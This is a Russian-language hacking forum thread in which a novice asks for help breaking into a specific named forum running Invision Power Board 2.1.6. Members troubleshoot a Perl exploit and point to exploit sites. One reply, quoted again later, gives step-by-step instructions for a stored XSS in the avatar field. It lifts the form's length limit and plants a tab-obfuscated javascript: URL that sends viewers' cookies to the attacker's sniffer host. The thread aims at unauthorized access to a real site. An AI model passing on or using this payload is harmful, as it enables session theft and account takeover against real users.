Invision Power Board v2.1.6

[darckEditor]

Я новичек в хаке и хочу взломать форум
http://gazeta.mirsofta-game.ru/forum/index.php
это IPB 2.1.6
я скачал с securitylab.ru эксплоит под этот форум но он не компилируется и выдает ошибку
хотя я вродибы все правильно заполнил
не могли бы вы вписать нужные параметры и выложить эксплоит здесь
код сплоита: http://www.securitylab.ru/bitrix/redirect.php?event1=gateway_click&event2=poc&event3=270627&goto=http%3A%2F%2Fwww.securitylab.ru%2Fpoc%2Fextra %2F270626.php

[MegaBits]

Тебе сюда тут рабочий сплоит http://rst.void.ru/

[darckEditor]

не пашет выдает ошибку
SplitString '{Webdings} 22' at 1.cgi line 24
SplitString '{Verdana} 7 bold' at 1.cgi line 25
SplitString '{Verdana} 8 bold' at 1.cgi line 46
SplitString '{Verdana} 8' at 1.cgi line 47
unknown option "-command" at D:\Documents and Settings\GOD.XQTH3PASQTBNGY7\Мои документы\perl5.00402-bindist04-bc\perl5.00402-bindist04-bc\perl\lib\site/Tk/Derived.pm line 309.
запускал в perl expresse пробывал денвером
пишет в error.log:
Premature end of script headers: /home/localhost/cgi-bin/1.cgi
Can't locate Tk.pm in @INC (@INC contains: .) at \\home\\LOCALH~1\\cgi-bin\\1.cgi line 14.\n
BEGIN failed--compilation aborted at \\home\\LOCALH~1\\cgi-bin\\1.cgi line 14.\n

[darckEditor]

может обьюсните мне где и что писать надо

[VampiRUS]

ставь актив перл, там всё рабоает.

[blackybr]

Сколько раз говорить - в денвере нет activeperl, а нужен только он. качай с activestate.com

[~Real F@ck!~]

darckEditor пригласи админа форума в сеть и начнётся работа.....

[KPOT_f!nd]

Прежде чем компилить надо хоть знать этот язык программирование(пример С++) на котором написан сплойт! Когда ты будешь компилить сплойт ты всегда будешь стречатся с таким видом проблемы! Это специально сделаны баги от скрипкидессов и ламасосов! Где то неправельно кавычка поставленна или скобка не вту сторону закрыта и т.д!

Ты же не будешь качай новый сплойт и говорить исправти мне багу или какая там проблемма в сплойте почему не компилиться и т.д!

[Fr-Ron]

Глянул, тут можно обойтись без сплойтов.
Народ, вы не забывайте, что не все 216 пропатчены от ХСС в аватаре.
Короче, darckEditor, заходи на страницу установки аватары, сохрани ее на харде, открой блокнотом ищи что то типа maxlenght = 80 (можно просто дать поиск по слову max) и измени его с 80 на 800 например.
Далее пиши в поле путь к аватаре
j a v a s c r i p t:x=document.cookie%3Bimg=new%20Image()%3Bimg.src= %27ТВОЙ СНИФЕР%3F%27%2Bx/*.jpg*///.gif
В слове javascript стоят табуляции. В общем, те, кто глянуть твой авик отдадут тебе свои куки.
Если не получиться, пиши в личку...

[_-[A.M.D]HiM@S-_]

_http://www.perl.com/download.csp

[darckEditor]

спс всем

[CinerX]

Народ, вы не забывайте, что не все 216 пропатчены от ХСС в аватаре.

Согласен )


Короче, darckEditor, заходи на страницу установки аватары, сохрани ее на харде, открой блокнотом ищи что то типа maxlenght = 80 (можно просто дать поиск по слову max) и измени его с 80 на 800 например.
Далее пиши в поле путь к аватаре
j a v a s c r i p t:x=document.cookie%3Bimg=new%20Image()%3Bimg.src= %27ТВОЙ СНИФЕР%3F%27%2Bx/*.jpg*///.gif
В слове javascript стоят табуляции. В общем, те, кто глянуть твой авик отдадут тебе свои куки.
Если не получиться, пиши в личку...

А ведь это можно было бы и в поиске на форуме поискать!

[Azazel]

Не умеешь\ленишься юзать поиск - ничего никогда у тебя не получится. Тема была по случаю появления баги и повторялась потом несколько раз в Уязвимостях форумов. Было и описание и видео. Ещё говрилось о том чтобы забить на эксплойт от рст (умные сильнонах) и юзать сплойт руками.